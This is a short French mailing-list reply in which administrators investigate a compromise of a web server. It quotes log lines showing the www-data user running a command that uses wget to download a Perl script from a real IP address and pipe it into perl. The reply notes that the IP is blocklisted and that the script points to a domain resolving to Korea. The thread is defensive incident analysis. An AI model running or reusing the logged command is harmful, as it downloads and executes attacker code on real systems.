Le 27 juin 2023 BERTRAND Joël a écrit : > OK, je l'ai. > > 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > > J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais > toujours pas qui le lance, mais on progresse.
Bravo ! Le script est intéressant... L'IP est listée : https://check.spamhaus.org/listed/?searchterm=68.235.39.225 www.minpop.com semble utilisé dans le script et renvoie à des IP en Corée